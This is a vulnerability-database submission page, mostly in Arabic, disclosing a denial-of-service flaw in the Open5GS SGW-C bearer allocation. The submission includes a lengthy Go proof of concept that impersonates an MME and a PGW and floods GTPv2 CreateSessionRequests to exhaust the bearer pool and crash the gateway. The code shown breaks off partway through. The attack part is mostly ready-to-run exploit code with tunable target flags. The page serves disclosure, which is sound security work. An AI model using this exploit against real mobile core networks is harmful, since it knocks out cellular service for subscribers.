إرسال #729339: Open5GS SGWC v2.7.6 Denial of Serviceالمعلومات

عنوانOpen5GS SGWC v2.7.6 Denial of Service
الوصف### Description SGW-C can be crashed via resource exhaustion (bearer pool exhaustion). When the bearer pool reaches its configured limit (ogs_app()->pool.bearer), the next bearer allocation in sgwc_bearer_add() returns NULL, but the code immediately asserts on ogs_assert(bearer). ### Config ``` logger: file: path: /var/log/open5gs/sgwc.log global: max: ue: 10 sgwc: gtpc: server: - address: 10.44.44.2 pfcp: server: - address: 10.44.44.2 client: sgwu: - address: 10.44.44.3 ### Steps to reproduce ``` 1. Start a new go project inside a new folder: go mod init poc 2. Create a `main.go` and paste the code below: ``` // Vuln-PC1-06 PoC: Bearer pool exhaustion triggers ogs_assert(bearer) // Target: Open5GS SGW-C sgwc_bearer_add (S11 interface) // Flow: // 1) Act as MME: send CreateSessionRequest (TEID=0) with multiple bearers. // 2) Act as PGW (local fake S5-C): respond to SGW-C's S5-C CreateSessionRequest. // 3) Read SGW S11 TEID from CreateSessionResponse (Sender F-TEID). // 4) Act as MME: send additional CreateSessionRequest with TEID!=0 per IMSI. // 5) Repeat across UEs/sessions to exhaust bearer pool. // 6) Next bearer allocation hits ogs_assert(bearer) at context.c:560. // // Notes: // - Fake PGW responder is optional but needed to get SGW S11 TEID quickly. // - Without S11 response, extra sessions per IMSI are skipped to avoid UE reset. package main import ( "errors" "flag" "fmt" "log" "net" "sync/atomic" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) const ( minEBI = 5 maxEBI = 15 maxBearersPerReq = 8 defaultBearerQoSGBR = 50000 ) var ( target = flag.String("target", "", "Target SGW-C IP (required)") port = flag.Int("port", 2123, "GTP-C port") numUEs = flag.Int("ues", 10, "Number of UEs to create") sessionsPerUE = flag.Int("sessions-per-ue", 3, "Sessions per UE (unique EBI ranges)") bearersPerSession = flag.Int("bearers", 3, "Bearers per session (1-8)") delay = flag.Duration("delay", 30*time.Millisecond, "Delay between requests") localIPFlag = flag.String("local-ip", "", "Local IP for MME simulation (auto if empty)") pgwIP = flag.String("pgw-ip", "10.44.44.4", "PGW S5/S8 GTP-C IP (required IE)") autoTune = flag.Bool("auto", true, "Auto-tune counts to exceed bearer pool (uses max-ue/max-sessions-per-ue/max-bearers-per-session)") maxUE = flag.Int("max-ue", 50, "Configured global.max.ue (for pool sizing)") maxSessionsPerUE = flag.Int("max-sessions-per-ue", 4, "Configured OGS_MAX_NUM_OF_SESS") maxBearersPerSess = flag.Int("max-bearers-per-session", 4, "Configured OGS_MAX_NUM_OF_BEARER") strictEBI = flag.Bool("strict-ebi", false, "Keep EPS Bearer ID within 5..15 (may reduce sessions)") respTimeout = flag.Duration("resp-timeout", 1200*time.Millisecond, "Timeout to wait for CreateSessionResponse (for SGW S11 TEID)") fakePGW = flag.Bool("fake-pgw", false, "Start local S5-C fake PGW responder") fakePGWBind = flag.String("fake-pgw-bind", "", "Bind address for fake PGW (ip:port), default uses pgw-ip:port") fakePGWPAA = flag.String("fake-pgw-paa", "10.9.0.1", "PAA IPv4 address in fake PGW response") ) var ( fakePGWS5CTEID uint32 = 0x20000000 fakePGWS5UTEID uint32 = 0x30000000 ) func main() { flag.Parse() if *target == "" { log.Fatal("--target is required") } ues := *numUEs sessions := *sessionsPerUE bearers := *bearersPerSession if *autoTune { ues = *maxUE sessions = *maxSessionsPerUE bearers = *maxBearersPerSess + 1 if bearers < 1 { bearers = 1 } if bearers > maxBearersPerReq { bearers = maxBearersPerReq } } if ues < 1 { ues = 1 } if ues > *maxUE { fmt.Printf("[!] ues capped from %d to %d to avoid UE pool exhaustion\n", ues, *maxUE) ues = *maxUE } if sessions < 1 { sessions = 1 } if bearers < 1 { bearers = 1 } if bearers > maxBearersPerReq { fmt.Printf("[!] bearers capped from %d to %d (OGS_BEARER_PER_UE)\n", bearers, maxBearersPerReq) bearers = maxBearersPerReq } if *strictEBI { maxSessionsByEBI := (maxEBI - minEBI + 1) / bearers if maxSessionsByEBI < 1 { maxSessionsByEBI = 1 } if sessions > maxSessionsByEBI { fmt.Printf("[!] sessions-per-ue capped from %d to %d to keep EPS Bearer IDs within 5..15\n", sessions, maxSessionsByEBI) sessions = maxSessionsByEBI } } else { if sessions*bearers > (maxEBI-minEBI+1) { fmt.Println("[!] NOTE: EPS Bearer ID may exceed 15 to avoid reusing existing sessions") } } poolSessions := *maxUE * *maxSessionsPerUE poolBearers := poolSessions * *maxBearersPerSess totalSessions := ues * sessions totalBearers := totalSessions * bearers fmt.Println("============================================") fmt.Println("Vuln-PC1-06 PoC: SGW-C Bearer Pool Exhaustion") fmt.Println("============================================") fmt.Printf("[*] Target: %s:%d (S11)\n", *target, *port) fmt.Printf("[*] Pool sizing: max-ue=%d, max-sessions-per-ue=%d, max-bearers-per-session=%d\n", *maxUE, *maxSessionsPerUE, *maxBearersPerSess) fmt.Printf("[*] pool.sess=%d, pool.bearer=%d\n", poolSessions, poolBearers) fmt.Printf("[*] Strategy: %d UEs x %d sessions/UE x %d bearers/session\n", ues, sessions, bearers) fmt.Printf("[*] Total sessions: %d\n", totalSessions) fmt.Printf("[*] Total bearers requested: ~%d\n", totalBearers) fmt.Println("[*] Trigger: ogs_assert(bearer) in context.c:560") fmt.Println("============================================") if totalSessions > poolSessions { fmt.Printf("[!] WARNING: total sessions %d > pool.sess %d (may assert in sgwc_sess_add)\n", totalSessions, poolSessions) } if totalBearers <= poolBearers { fmt.Printf("[!] WARNING: total bearers %d <= pool.bearer %d (may not hit bearer assert)\n", totalBearers, poolBearers) } conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", *target, *port)) if err != nil { log.Fatalf("Failed to dial: %v", err) } defer conn.Close() localIP := *localIPFlag if localIP == "" { localIP = conn.LocalAddr().(*net.UDPAddr).IP.String() } fmt.Printf("[*] Local IP: %s\n", localIP) if *fakePGW { bindAddr := *fakePGWBind if bindAddr == "" { bindAddr = fmt.Sprintf("%s:%d", *pgwIP, *port) } fakeConn, err := startFakePGW(bindAddr, *pgwIP, *fakePGWPAA) if err != nil { log.Fatalf("Failed to start fake PGW responder: %v", err) } defer fakeConn.Close() fmt.Printf("[*] Fake PGW responder listening on %s\n", bindAddr) } apns := []string{"internet", "ims", "mms", "enterprise", "iot", "vpn"} var seq uint32 = 1 successCount := 0 bearerCount := 0 for ue := 0; ue < ues; ue++ { imsi := fmt.Sprintf("00101%010d", ue) sgwS11TEID := uint32(0) for s := 0; s < sessions; s++ { mmeTEID := uint32(0x10000000 + ue*1000 + s) apn := apns[s%len(apns)] baseEBI := uint8(minEBI + s*bearers) headerTEID := uint32(0) if s > 0 { if sgwS11TEID == 0 { log.Printf("[!] Skip extra sessions for IMSI %s: missing SGW S11 TEID", imsi) break } headerTEID = sgwS11TEID } csr := buildCSR(seq, headerTEID, imsi, mmeTEID, localIP, *pgwIP, apn, baseEBI, bearers) payload, err := csr.Marshal() if err != nil { log.Printf("[!] Marshal error: %v", err) continue } _, err = conn.Write(payload) if err != nil { log.Printf("[!] Send error at UE %d session %d: %v", ue, s, err) fmt.Println("[!] Connection error - target may have crashed!") goto done } successCount++ bearerCount += bearers seq++ if successCount%10 == 0 { fmt.Printf("[*] Sent %d sessions (%d bearers)...\n", successCount, bearerCount) } if s == 0 { rsp, err := waitForCreateSessionResponse(conn, *respTimeout, mmeTEID) if err != nil { log.Printf("[!] IMSI %s: CreateSessionResponse not received: %v", imsi, err) } else { sgwS11TEID, err = extractSGWS11TEID(rsp) if err != nil { log.Printf("[!] IMSI %s: failed to extract SGW S11 TEID: %v", imsi, err) } else { log.Printf("[*] IMSI %s: SGW S11 TEID=0x%x", imsi, sgwS11TEID) } } } if *delay > 0 { time.Sleep(*delay) } } } done: fmt.Println("============================================") fmt.Printf("[+] Sent %d CreateSessionRequests\n", successCount) fmt.Printf("[+] Total bearers requested: ~%d\n", bearerCount) fmt.Println("[*] Check SGW-C logs for crash:") fmt.Println(" docker logs sgwc --tail 100 2>&1 | grep -E '(FATAL|assert|Aborted|bearer)' ") fmt.Println("============================================") } func buildCSR(seq uint32, headerTEID uint32, imsi string, mmeTEID uint32, localIP, pgwIP, apn string, baseEBI uint8, numBearers int) *message.CreateSessionRequest { senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "") pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, 0, pgwIP, "").WithInstance(1) bearerIEs := make([]*ie.IE, 0, numBearers) for b := 0; b < numBearers; b++ { ebi := baseEBI + uint8(b) enbTEID := mmeTEID*10 + uint32(b) bearerCtx := ie.NewBearerContext( ie.NewEPSBearerID(ebi), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1UeNodeBGTPU, enbTEID, localIP, ""), ie.NewBearerQoS(1, 2, 1, 9, defaultBearerQoSGBR, defaultBearerQoSGBR, defaultBearerQoSGBR, defaultBearerQoSGBR), ) bearerIEs = append(bearerIEs, bearerCtx) } ies := []*ie.IE{ ie.NewIMSI(imsi), ie.NewMSISDN("8612345678901"), ie.NewMobileEquipmentIdentity("353490069876543"), ie.NewServingNetwork("001", "01"), ie.NewRATType(gtpv2
المصدر⚠️ https://github.com/open5gs/open5gs/issues/4233
المستخدم
 LinZiyu (UID 94035)
ارسال02/01/2026 12:57 PM (4 أشهر منذ)
الاعتدال16/01/2026 05:36 PM (14 days later)
الحالةتمت الموافقة
إدخال VulDB341598 [Open5GS حتى 2.7.5 src/sgwc/context.c sgwc_bearer_add الحرمان من الخدمة]
النقاط20

Do you know our Splunk app?

Download it now for free!